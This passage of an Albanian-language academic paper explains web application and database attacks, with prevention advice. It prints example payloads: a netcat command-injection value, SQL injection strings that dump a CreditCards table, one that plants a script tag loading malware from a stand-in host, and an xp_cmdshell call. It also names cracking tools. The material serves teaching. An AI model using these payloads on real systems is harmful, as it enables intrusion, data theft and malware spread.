autentikimin e aplikacionit, hakimi i fjalëkalimit dhe ndërhyrja në trafikun e ueb aplikacionit.

5.1 Vlerat hyrëse të pa validuara
Ky sulm ndodh kur vlerat hyrëse të përdoruesit nuk validohen para se të procedohen. Nuk ka
vlera hyrëse që duhet besuar, të gjitha vlerat hyrëse duhet të trajtohen si të huaja dhe duhet
testuar me kujdes para se të procedohen. Ndonjëherë ndodh që validimi i vlerave hyrëse të
ndodh në shfletues. Me një aplikacion si OWASP Zed Application Proxy (ZAP) ose Burp
Proxy, sulmuesi mund të injektoj vlera të ndryshme. Si shembull mund të merret një dyqan
online e cila ka shportën e blerjes, sulmuesi mund ta ndryshoj totalin e vlerës dhe të vazhdoj
për pagesë, nëse aplikacioni në prapaskenë nuk e validon vlerën e vërtetë, sulmuesi mund të
arkëtoj vlerën në të cilën ka ndërhyrë.

5.2 Ndryshimi i parametrave
Sulmi vlen atëherë kur manipulohen vlerat e parametrave në URL gjatë komunikimit të
klientit dhe ueb serverit. Konsideroni URL-në:

https://smis.ubt-uni.net/my/loginform.aspx/user=alba?psw=albaubt
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Nëse URL dhe parametrat nuk validohen nga ueb serveri, atëherë me një ndryshim të thjeshtë
në URL mund të kyçem tek ndonjë përdorues tjetër si p.sh:

https://smis.ubt-uni.net/my/loginform.aspx/user=admin?psw=adminubt

5.3 Injektimet dhe gabimet
Injektimet e gabuara janë një llojë dobësie të cilat lejojnë të dhëna të pabesuara të
ekzekutohen dhe të interpretohen si komanda valide në server. Injektimet projektohen duke
formuar komanda dëmtues, disa nga injektimet në ueb faqe janë:

Injektimi i komandave: Sulmi është i dizajnuar të injektoj dhe ekzekutoj komanda të
specifikuara nga sulmuesi në aplikacionin e cenueshëm. Injektimet e komandave ndodhin
atëherë kur vlerat hyrëse nuk validohen dhe të cilat mund të manipulohen nga sulmuesi
(forms, cookies, HTTP headers).

Injektimi i skedarëve: Sulmuesi injekton një skedar për të shfrytëzuar cenueshmërinë e
serverit. Për shembull, një skedar i cili është krijuar për të kërkuar Ueb faqen i quajtur
‘search.php?name=CEH’ do të rezultojë në shfaqjen e rezultateve për fjalën “CEH”, nëse
vendosim parametër shtesë tek URL “CEH; netcat 1.10 nc.c” do të tentohet të shkarkohet
skedari i quajtur nc.c.

LDAP injektimi: Serviset Lightweight Directory Acces protocol apo LDAP funksionojnë
në protokollin TCP portin 389, dhe servisi SSL funksionon në TCP, porti 636. Ueb
aplikacionet e dizajnuara dhe koduar dobët ka gjasa të komprometohen nga vlerat e pa
validuara të cilat kalojnë komandat LDAP për qasjen në databazë të ueb aplikacionit.

XML injektimi: XML është gjuhë skriptuese që i takon familjes së SGML (Standard
Generalized Markup Language). Ajo ka të njëjtën formë sikur edhe HTML me disa
përjashtime më profesionale. XML në fakt është gjuhë nëpërmjet të cilës mund të krijojmë
gjuhë te ngjashëm sikur HTML. Kjo do të thotë se ka hapësire më të madhe veprimi, është
20

më fleksibile dhe shumë më e zhvilluar se HTML edhe pse të dyja gjuhët janë pjesë e familjes
SGML. Ajo që dallon XML nga HTML është se në XML kemi mundësi të krijojmë etiketa
tona ndërkaq në HTML jemi të kufizuar me numrin e etiketave që i përmban vetë gjuha
HTML-it . Njëjtë sikur SQL injektimi, XML injektimi zakonisht arrihet duke injektuar dhe
ndryshuar vlerat e XML. Nëse një pajisje ka çmimin 50 euro, ajo në XML do shfaqet si me
etikat

si

nëvijim:

<item>
Paisja
<price>50</price>
</item>

Ndërsa pasi që injektimi XML të përfundoj, porosia do të ketë strukturë të re:

<order>
<item>
Paisja
<price>10</price>
</item>
</order>

Për shkak të validimit të dobët, vlera tek etiketa <price> e mbishkruan vlerën reale dhe
mundëson sulmuesin të vazhdoj porosinë me çmimin e injektuar.

Cross-site scripting: Ky tip është një sulm i cili haset në ueb aplikacione. XSS mundëson
sulmuesin të injektoj skriptë dëmtuese nga ana e klientit. Sulmi mund të përdoret për të kaluar
sigurinë e aplikacionit dhe të injektoj kod tek klienti. Sulmi i këtillë është ende relevant dhe
masat preventive duhet të merren gjatë zhvillimit të ueb aplikacioneve.
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Javascript është gjuha më e përdorur për zhvillimin e ueb faqeve moderne, edhe pse
Javascript ekzekutohet në mënyrë strikte dhe nuk ka qasje në leximin direkt të skedarëve në
sistemin operativ. Kodi dëmtues Javascript ka qasje në të gjitha objektet e faqes duke
përfshirë edhe cookies, në cookie qëndron sesioni i përdoruesit dhe nëse sulmuesi mund ta
vë në posedim cookie-n atëherë mund të kyçet në sistem sikur personi që i është vjedhur
sesioni.

Javascript mund të përdoret edhe për dërgimin e kërkesave në server duke përdorur
XMLHttpRequest ose edhe AJAX Request. Në shfletuesit modern Javascript ka qasje në
kamerën, lokacionin, mikrofonin dhe po ashtu skedar specifik në sistemin operativ. Shumica
e këtyre qasjeve kërkojnë dijeninë e përdoruesit por XSS mund të trukoj përdoruesin dhe
lehtë mund të vazhdoj sulmin. (OWASP, 2018)

Figura 6. Skriptimi i kryqëzuar.

5.4 Sulmet e tjera në ueb aplikacione
Zhvilluesit e aplikacioneve asnjëherë nuk duhet t’u besojnë të dhënat e përdoruesëve që fusin
në aplikacion. Problemet me injektimin e parametrave në URL zgjidhet duke implementuar
kontrolle pre-validim dhe post-validim. Pre-validimi zakonisht zhvillohet në pjesën e klientit
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por kjo lehtë mund të kalohet duke përdorur teknika të ndryshme, prandaj post-validimi në
server është shumë i rëndësishëm.

DoS/DDos: Sulmuesi krijon një aplikacion i cili mund të dorëzoj formular të regjistrimit në
mënyrë të përsëritur deri sa serverit t’i mbarojnë burimet si RAM ose CPU.

Figura 7. Sulmuesi përdor një rrjet kompjuterik për sulm.

Fiksimi sesionit: Në çdo ueb aplikacion e cila ka mundësinë e kyçjes së përdoruesit, serveri
krijon një sesion individual i cili ruhet në të. Sulmi funksionon duke tentuar të trukohet
serveri me një vlerë të sesionit të shtjelluar e cila mund të përdoret për kyçje në sistem nga
sulmuesi.
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Figura 8. Fiksimi i sesionit.

Komandat direkt ne sistemin operativ: Ekzekutimi i komandave të pa autorizuara në
sistemin operativ mund të krijoj probleme të shumta.

Injektimet: Sulmuesi mund të injektoj kode të ndryshme për të kaluar autentikimin e
aplikacionit.

5.5 Phishing
Phishing është një tentim mashtrues, zakonisht i bërë përmes email për të vjedhur informatat
personale. Fjala phishing është një neologjizëm e cila rrjedh nga analogjia me fishing
(peshkim) tek e cila përdoret karremi për të kapur viktimën (peshqit).
Phishing mund të definohet si një tentim për t’i rrëmbyer informatat e fshehta personale si
emri i përdoruesit, fjalëkalimi, të dhënat e kredit kartelës dhe ndonjëherë në mënyrë indirekte
edhe të holla. Email-at e phishing zakonisht duket se vijnë nga një organizatë e njohur duke
kërkuar informatat tuaja personale.
Mënyrat më të mira për trajtimin e këtij fenomeni janë legjislacioni, trajnimi i përdoruesve,
vetëdijesimi i popullatës dhe masat mbrojtëse teknologjike si dhe po ashtu përdoruesit nuk
duhet të përdorin të njëjtin fjalëkalim kudo në Internet.
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Figura 9. "Peshkimi" i sulmuesit për detaje personale.

5.6 Sulmi ndaj autentikimit të ueb aplikacionit
Autentikimi bazë arrihet nga procesi ekskluziv (XOR) e cila në termin kompjuterik do të
thotë ‘një ose një tjetër, por jo të dyja’. Gjatë kyçjes në një ueb aplikacion, kutia e kyçjes
shfaqet dhe kërkon nga përdoruesi për emrin e përdoruesit dhe fjalëkalimin, këto dërgohen
me HTTP në server. Pas autentikimit në aplikacion, serveri krijon një 'cookie ose një variabël
të sesionit. Cookie ruhet në server dhe mund të përdoret tek i njëjti përdorues nëse faqja
frekuentohet shpesh. Nëse cookie mund të vihet në posedim nga sulmuesi, sulmuesi mund të
kyçet në sistem duke tejkaluar autentikimin.

Autentikimi i bazuar në certifikata digjitale është forma më e sigurtë nga llojet e autentikimit.
Kur përdoruesi tenton të kyçet në një ueb faqe, ai i prezanton certifikatën digjitale e cila
përmban çelësin publik dhe nënshkrimin. Ueb serveri pastaj duhet të verifikoj certifikatën
dhe të validoj atë, pas validimit bëhet autentikimi i përdoruesit duke përdorur çelësin publik
të kriptuar.
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Figura 10. Certifikata digjitale dhe funksioni i tij.

5.7 Hakimi i fjalëkalimeve dhe llojet e sulmeve të bazuara në fjalor.
Ekzistojnë shumë aplikacione të cilat përdoren për tentimin e thyerjeve në një aplikacion të
bazuar në ueb. Nëse një ueb faqe nuk merr masa të sigurisë, është vetëm çështje kohe para
se sulmuesi të hyjë në sistem. Hakimi i fjalëkalimeve nuk përfshin aplikacione të sofistikuara,
shpesh herë mund të funksionojë edhe duke supozuar fjalëkalimin. Procesi i hakimit të
fjalëkalimit mund të jetë monoton dhe prandaj ekzistojnë aplikacione të cilat e automatizojnë
këtë proces. Disa nga llojet e sulmeve në fjalëkalime janë:

Sulmet e bazuara në fjalor: Një skedar teksti i plotësuar me fjali nga fjalori ngarkohet në
një aplikacion për hakimin e fjalëkalimit dhe përdoret për të sulmuar aplikacionin duke
tentuar fjalë nga fjalori gati çdo sekondë. Nëse ndonjë fjalë e thjeshtë është përdorur për
fjalëkalim, procesi do të jetë i lehtë dhe fjalëkalimi do të thyhet (CodingHorror, 2009).

Sulmet hibride: Njëjtë sikur sulmet e bazuara në fjalor, sulmet hibride shtojnë numrat dhe
simbolet në sulm. Shumë njerëz përveç që përdorin fjali në fjalëkalim, zakonisht në fund
shtojnë edhe numra ose ndonjë karakter special. Zakonisht modeli i fjalëkalimeve është:
“KOLEGJIUBT123”.

Sulmet me forcë brutale: Sulmi më gjithëpërfshirës nga format e sulmeve në ueb, dhe
potencialisht sulmi që merr më së shumti kohë. Sulmi brutal mund të marrë javë ose edhe
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muaj, në varësi të kompleksitetit dhe gjatësisë së fjalëkalimit. Kur tentohet online, janë sulme
të cilat lehtë detektohen.

Aplikacionet të cilat përdoren për këto lloje të sulmeve janë: Brutus, UEBCracker dhe
THC-Hydra.

Nëse sulmuesi përdorë ndonjërën nga metodat e lartë cekura duke tentuar vazhdimisht të
kyçet në sistem, preferohet që numri i tentimeve të gjurmohet. Duke vënë një limit për
tentimin e kyçeve në sistem mund të parandalohen sulmet e tilla. Ueb faqet zakonisht gjatë
tentimit për kyçje në sistem limitojnë numrin e tentimeve të pasakta, dhe kur tentimi është i
pasaktë shfaqin një tekst e cila shkruan që fjalëkalimi OSE emri i përdoruesit është i pa saktë.
Në këtë mesazh vërehet fjala OSE, sepse nëse sulmuesi njoftohet me gabimin e saktë i cili
mund të jetë ose fjalëkalimi ose emri i përdoruesit, i lehtësohet puna për identifikimin e
fjalëkalimit.

Figura 11. Emri i përdoruesi OSE fjalëkalimi gabim.
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5.8 Kapja e trafikut në Ueb
Mënyra më e mirë për të kuptuar se si një ueb aplikacion funksionon është vëzhgimi i tij.
‘Nuhatësit’ apo sniffer aplikacionet janë zgjedhje të mundshme, përdoren edhe proxi-t të cilat
lehtësojnë punën.

Ueb proxit lejojnë testerët e depërtimit në ueb aplikacion të rregullojnë ueb aplikacionin.
Këto aplikacione funksionojnë sikur sulmi man-in-the-middle. Këto aplikacione mundësojnë
të zëjnë në rrugë, inspektojnë dhe modifikojnë të dhënat e trafikut.

Zënia në rrugë të trafikut: Mundëson të shikohet trafiku në detaje, se si të dhënat lëvizin
klient-server.

Inspektimi i trafikut: Mundëson të kuptohet se si aplikacioni funksionon dhe çfarë
mekanizma përdorë.

Modifikimi i trafikut: Mundëson modifikimin e të dhënave për të shikuar se si aplikacioni
përgjigjet ndaj sulmeve(p.sh. injektimeve).

Figura 12. Zënia, inspektimi dhe modifikimi i të dhënave gjatë komunikimit klient-server.

Me këto aplikacione performohen: SQL injektimet, vënia e posedimit të cookie-it dhe llojet
e sulmeve të tjera.
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6. SIGURIA E UEB APLIKACIONEVE
Sigurimi i ueb aplikacioneve është mjaft sfidues për dizajnerët dhe zhvilluesit për arsye se
ata shpesh janë nën presion për të vënë aplikacionin online sa më shpejtë që është e mundur.
Siguria konsiderohet vetëm në fazat e mëvonshme. Njëra nga mënyrat më të mira për të
siguruar një aplikacion është konsiderimi i sigurisë në aplikacion nga fazat e para të
zhvillimit. Tjetër mënyrë është të vlerësohet kodi i përfunduar, nëse kodi burimor është në
dispozicion, skanerët e kodeve burimore mund të detektojnë dobësi të ndryshme.
Aplikacionet për detektimin e kodit burimor që përdoren më së shumti janë:
Flawfinder: Aplikacion i koduar në gjuhën programuese Python, aplikacion i cili kërkon në
kodin burimor për të metat e sigurisë, duke listuar nga më të rrezikshmet.

Rough Auditing Tool for Security (RATS): RATS është i koduar në gjuhen C dhe përmban
koleksione të XML rregullave të cilat vlejnë edhe për gjuhët e tjera programuese, mund të
skanoj gjuhët C, C++, Perl, PHP dhe Python për dobësi të ndryshme.

StackGuard: Një kompaljer i cili ndërton programe të forcuara ndaj sulmeve.

Nëse kodi burimor nuk është në dispozicion, mund të përdoren skaner për aplikacione. Këto
lloje të skanerëve mundësojnë profesionistët e sigurisë dhe testerët e depërtimit të
ekzaminojnë aplikacionet e kompletuara ose komponentët e ndryshme të një aplikacioni.
Disa nga llojet e këtyre aplikacioneve janë:

Whisker: Njëra nga ueb aplikacionet më të lashta e cila ende është funksional, Whisker
mund të kontrolloj dobësitë të cilat përhapin informatat e sistemit. Informatat të cilat duhet
mbajtur me konfidencialitet. Whisker kërkon gjuhën Perl dhe nuk mund të përdoret pa të.

N-Stalker: Aplikacioni për vlerësim i cili ka një databazë të gjerë me mbi 30,000 dobësi të
aplikacioneve. Siguron raporte të formatuara me standarde të cilat mund të përdoren për
analiza të kërcënimeve.
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WEBInspect: Një tjetër ueb aplikacion për skanimin e dobësive i cili mund të skanoj më
shumë se 1,500 dobësi të njohura në server dhe aplikacione.

Nikto: Një script e thjeshtë dhe lehtë për tu përdorur e bazuar në Perl e cila është e shpejt
dhe tërësor. Mbështet skanimin e porteve.

AppDetectivePRO: Skanon depërtimet dhe bën teste të auditimit. Aplikacioni teston
sistemin nga këndvështrimi i sulmuesit. Auditimi nga aplikacioni mund të detektoj një numër
të madh të dobësive dhe shkelje të sigurisë duke filluar nga fjalëkalimet e dobëta deri tek
mungesa e arnave të sigurisë.

Figura 13. Metodat për testimin e dobësive në ueb aplikacion.
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7. HAKIMI I DATABAZAVE
Disa organizata janë shumë të fokusuara në sigurinë e serverit dhe aplikacioneve, duke mos
e kuptuar që një sulmues mund të ketë një tjetër objektivë në mendje. Aseti më i rëndësishëm
i një organizate mund të mos jetë ueb serveri por të dhënat që ruhen në databazë. Databazat
janë shumë të rëndësishëm për bizneset, qeveritë dhe individët sepse mund të përmbajnë të
dhëna të konsumatorëve, karta krediti, fjalëkalime dhe sekrete të ndryshme. Databazat janë
shumë të përdorura dhe një objektivë aktiv nga sulmuesit. Çdo rezervim dhe çdo blerje online
e realizuar me kartelë krediti janë të ruajtura në ndonjë databazë e cila mund ende ti ketë të
dhënat personale të ruajtura. Databaza nuk është i vetmi komponent i cili mund të sulmohet.
(Shebbeare, 2010)

Databazat mund të jenë të centralizuara ose të shpërndara në varësi të sistemit të menaxhimit
të bazës së të dhënave që është zbatuar. Llojet e databazave janë:

Sistemi i menaxhimit hierarkik i bazës së të dhënave: Në këtë lloj të bazës së të dhënave,
lidhjet janë rregulluar në një strukturë peme. Çdo rekord mund të ketë vetëm një pronar, dhe
për shkak të kësaj, një bazë e të dhënave e kufizuar hierarkike nuk mund të përdoret shpesh
për t'u lidhur për strukturat në botën reale.

Sistemi i menaxhimit të databazës së rrjetit: Ky lloj i bazës së të dhënave është zhvilluar
të jetë më fleksibile sesa baza e të dhënave hierarkike. Karakteristika e saj dalluese është se
skema, e parë si një grafik në të cilin llojet e objekteve janë nyje dhe llojet e lidhjes janë
harqe, nuk kufizohet në të qenit një hierarki apo grilë.

Sistemi i menaxhimit të bazës së të dhënave relacionale: Ky lloj i bazës së të dhënave
zakonisht është një mbledhje e tabelave që janë të lidhura me çelësat e tyre primarë. Shumë
organizata përdorin softuer të bazuar në hartimin e bazës së të dhënave relacionale. Shumica
e bazave të dhënave relacionale përdorin SQL si gjuhë të tyre për kërkesat në databazë.
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Sistemi i menaxhimit të bazës së të dhënave i bazuar në objekte: Ky lloj i bazës së të
dhënave është relativisht i ri dhe është projektuar për të kapërcyer disa nga kufizimet e
relacioneve të mëdha tek bazat e të dhënave. Bazat e të dhënave të orientuara në objekte nuk
përdorin një gjuhë të nivelit të lartë të tillë si SQL. Këto baza të dhënash mbështesin
modelimin dhe krijimin e të dhënave si objekte.

7.1

Identifikimi i SQL serverëve
Databaza
Porti
Oracle
1521
Microsoft SQL
1434
MySQL
3306
Tabela 2. SQL serverët dhe portet e tyre

Sulmuesit kërkojnë dhe shfrytëzojnë bazat e të dhënave që janë të ndjeshme ndaj injektimit
SQL.
Skema Nmap mund të përdoret edhe një herë për të ndihmuar në këtë kërkim. Skripta Nmap
kërkon një server HTTP duke kërkuar URL që janë të prekshme nga injeksionet SQL. Skenari
nxjerr formularët nga faqet e internetit të gjetura dhe përpiqet të identifikojë çdo fushë që
është e ndjeshme.

Injektimi SQL ndodh kur një sulmues është në gjendje të futë deklaratat SQL në një kërkesë
HTTP të injektimit SQL. SQL injektimi i lejon sulmuesit të marrë avantazhin e kodit të
pasiguruar në një sistem dhe kalimin e komandave direkt në një bazë të dhënash. Kjo u
mundëson sulmuesve të shfrytëzojnë çasjen e tyre dhe të kryejnë aktivitete të ndryshme.
Serverët e ndjeshëm ndaj injektimit SQL mund të mbyllen, të ekzekutohen komandat mbi to,
dhe të ekstraktohen të dhënat e tyre. Sulmet SQL injektimet ndjekin hapat e paraqitur këtu:

Mbledhja e informatave: Përcaktimi i teknologjisë të cilën ueb aplikacioni përdor.

Identifikimi: Identifikimi i vlerave hyrëse nga përdoruesit.

Testimi: Testimi i vlerave hyrëse nga përdoruesit të prekshëm ndaj sulmit.
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Shfrytëzimi: Vendosja e kodeve në vlera hyrëse për të ekzekutuar komanda tek kompjuteri
i viktimës.

7.2

Dobësitë e SQL serverit

Injeksioni SQL është një nga vektorët më të zakonshëm të sulmit. Siç dihet, injektimi i një
shënimi të vetëm të kuotimit në parametra alfa numerikë mund të rezultojë në një gabim
bazash të dhënave. Pikat e sulmit përfshijnë çdo fushë. Teknikat e injektimit SQL përfshijnë
si në vijim:

SQL injektimi i thjeshtë: Merr përparësi të hyrjeve të pa validuara.
Bashkimi i SQL injektim: Bën përdorimin e komandës “UNION SELECT” që të kthej
bashkimin e bazës së të dhënave të synuar me një që keni krijuar për të vjedhur të dhënat nga
ajo.

Injektimi SQL i bazuar në gabime: Quhet si i tillë, sepse objektivi është me qëllim të futen
deklarata të ndërtuara keq në një përpjekje për të marrë bazën e të dhënave e cila përgjigjet
me emrat e tabelave dhe mesazhet e tjera të gabimit.

Injektimi i verbër SQL: Ndodh kur sulmuesi e di se baza e të dhënave është e ndjeshme në
injektim, por mesazhet e gabimit dhe vlerat e kthyera në ekran janë të koduara dhe nuk
ofrojnë kode gabimi ose veprimi. Edhe pse kjo mund të jetë intensive, sulmuesi mund të
përpiqet të vjedhë të dhënat duke kërkuar një seri të pyetjeve të cilat kanë përgjigje e vërtetë
/ jo e vërtetë.

Injektimi i SQL zakonisht testohet si pjesë e një depërtimi tek aplikacioni. Serverët SQL janë
të prekshëm për shkak të praktikave të dobëta të kodimit, mungesës së të dhënave,
vlefshmërinë dhe dështimin për të përditësuar dhe arnuar shërbimin. Dobësitë kryesore janë:
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● Mungesa e satirizimit të inputeve të përdoruesve
● Të dhënat dhe strukturat e kontrollit të përziera në të njëjtin kanal të transportit

Para se të diskutohen dobësitë e SQL, duhet shqyrtuar komandën bazë SELECT.
SELECT përdoret për të zgjedhur të dhënat që dëshirohet për një veprim. Deklarata fillon
me fjalën SELECT dhe pasohet nga ndonjë numër opsionesh të përdorura për të përcaktuar
atë që dëshironi të veproni dhe çfarëdo të jetë ai veprim. Një shembull i një komande të
thjeshtë SQL:

SELECT * FROM Orders
Komanda në thelb thotë: "Do të doja që serveri SQL të më jepte të gjitha shënimet nga tabela
me e emëruar Porositë.” Komanda më e detajuar SQL:

SELECT OrderID, FirstName, LastName FROM Orders

Kjo komandë nxjerr gjithçka në rubrikat OrderID, FirstName dhe LastName nga tabela e
emëruar Porositë. Nëse shtojmë opsione të tjera komandimi të tilla si WHERE (krijimi i një
deklarate të kushtëzuar), LIKE (përcaktimi i një kushti ku diçka është e ngjashme me një
variabël të caktuar), AND, dhe OR (vetë-shpjegues), marrim informata edhe më të detajuara
si në vijim:

SELECT OrderID, FirstName, LastName FROM Orders WHERE LastName =
‘Kelmendi’

Mënyra më e thjeshtë për të identifikuar një dobësi të injektimit SQL është shtimi i
pavlefshëm i karaktere të papritura për një vlerë parametri dhe të shikojmë për gabime në
përgjigjen e aplikacionit. Në një kuptim, thyejmë deklaratat e paraqitura më parë. Qasja e
bazuar në sintaksë është më efektive kur aplikacioni nuk shtyp gabimet me mesazhe nga baza
e të dhënave. Nëse gabimet shtypen, injektimi i verbër SQL mund të tentohet. Pa marrë
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parasysh teknikën e përdorur, qëllimi është gjetja e një karakteri që gjeneron një gabim kur
kërkesa ekzekutohet nga baza e të dhënave dhe pastaj përhapet prapa përmes aplikacionit dhe
kthehet në përgjigjen e serverit. Në një sulm SQL të thjeshtë, sulmuesi mund të përpiqet të
ndryshojë të dhënat ekzistuese në bazën e të dhënave ose të shtoj të dhëna të reja të tij:
SELECT FirstName, LastName FROM Salesperson WHERE State = ''; INSERT
INTO TABLE Users ('username') VALUES (‘alba’); --'
ose
SELECT FirstName, LastName FROM Salesperson WHERE State = ''; UPDATE
TABLE Users SET Salary=1500000 WHERE username='alba'; --'

Ose sulmuesi mund të përpiqet thjesht për të identifikuar një emër tabelë:

blah' AND 1+(SELECT COUNT(*) FROM mytable); --

Megjithëse kjo nuk mund të duket shumë e keqe, kodi mëposhtëm ku sulmuesi përdor
injektimin SQL për të vjedhur të dhënat e të përdoruesëve:

SELECT FirstName, LastName FROM Salesperson WHERE State = ''; SELECT *
FROM TABLE CreditCards; --'
Ose për t'i bërë gjërat edhe më keq, sulmi tani mund të hapë serverin SQL në mënyrë që ajo
të përhap malware (Malware ose program i dëmshëm quhen programet që zakonisht nuk janë
të autorizuara nga pala që i ekzekuton pa dijeni. Dhe në shumicën e rasteve këto programe
kanë qëllim të dëmshëm):

SELECT FirstName, LastName FROM Salesperson WHERE State = '';
UPDATE TABLE Users SET MiddleName =
'<script src="http://malware_site.ru/malware.js"/>'; --'

Në këtë shembull, sulmuesi po përdor serverin SQL për të përhapur malware. Në këtë rast
kur një viktimë sheh faqen e komprometuar, aplikacioni do të tërheqë me qëllim të keq “tag
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skriptin” nga regjistri i bazës së të dhënave dhe të përfshijë atë me përmbajtjen e faqes;
shfletuesi i viktimës do të tërheqë malware, do ta ekzekutojë atë dhe viktima do të jetë e
ekspozuar ndaj çfarëdo ngarkese që përmban malware.
Së fundi, sulmuesi mund të përpiqet të ndër veprojë me sistemin operativ në server SQL dhe
të fitoj qasje brenda perimetrit të rrjetit. Dy teknika të përdorura shpesh janë duke lexuar dhe
shkrimi i skedarëve të sistemit nga disku dhe ekzekutimi i komandës direkt:

'; exec master..xp_cmdshell 'ping 192.168.123.254

Parandalimi i injektimit SQL arrihet më së miri duke kryer praktika të mira të kodimit,
arnimet e sistemit, dhe duke përdorur autentikim të fortë. Gjithashtu mund të forcojë bazën
e të dhënave duke u siguruar që aplikacioni kërkon të drejta të mjaftueshme për ta bërë një
punë. (Gregg, 2017)

7.3

Mjetet për hakimin me injektime SQL:

Shumë mjete mundësojnë të hakojnë bazat e të dhënave SQL. Disa nga mjetet janë: SQLDict,
SQLExec, SQLbf, BSQL Hacker, SQL2.exe, Havij, Absinthe.
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8. PËRFUNDIM
Mësuam për sulmet në internet dhe disa nga metodat për parandalimin e sulmeve. Ekzistojnë
tri fusha të gjera që sulmuesi mund të përqendrohet, ato janë: sulmi në serverin e uebit, ueb
aplikacionin dhe bazën e të dhënave. Sulmuesi mund të fillojë me ueb serverin, por zakonisht
janë objekt i lehtë vetëm nëse nuk është arnuar dhe fortësuar. Serverët mund të sulmohen
sepse kanë qasje në internet tërë kohën. Aplikacionet në internet dhe databazat janë gjithashtu
një objektiv potencial.
Shumica e kompanive mbështeten shumë në aplikacionet e tyre në internet. Për sulmuesit,
hapi i parë është identifikimi i aplikacioneve që përdoren. Ata inspektojnë çdo pikë në të
cilën të dhënat futen, dalin dhe përpunohen. Sulmuesi kërkon cenueshmërinë, siç është
validimi i dobët i futjes, tejmbushja e memories, ekzekutimi i kodit, LDAP injeksioni, apo
edhe mesazhet e gabimit që kthehen.
Megjithëse bazat e të dhënave mund të vihen pas serverit, ato janë gjithashtu një objektiv i
madh. Injektimi SQL është një sulm bazë që përdoret ose për të fituar qasje të paautorizuar
ose për të marrë qasje të drejtpërdrejtë në bazën e të dhënave. Bazat e të dhënave përmbajnë
informata personale dhe nganjëherë edhe kartë krediti dhe informacione faturimi, gjë që e
bën atë një objektiv të madh për sulmuesit nga e gjithë bota. (Për shembull, Albert Gonzalez
përdori injektimin SQL për të nxjerrë rreth 170 milionë numra kartë krediti nga viti 2005
deri në vitin 2007.) (Viyajan, 2009)
Për mbrojtjen nga sulmi phishing, duhet të shikojmë për URL-në dhe dryrin e gjelbër në
shiritin e adresës në shfletues. Për sulmin “man-in-the-middle” me praktikmin e protokollit
HTTPS ky sulm ka rënë dukshëm sepse HTTPS enkripton të gjitha paketat që transmetohen
klient-server, prandaj duhet t’i kushtohet vëmendje adresës në shfletues.
Masat tjera kundërshtuese duhet të vihen në vend për t'i mbrojtur bazat e të dhënave, siç janë
validimin i duhur i hyrjes, shtypjen e mesazheve informuese në rast të gabimeve në sistem,
kontrollet e duhura të hyrjes dhe izolimin e bazës së të dhënave.
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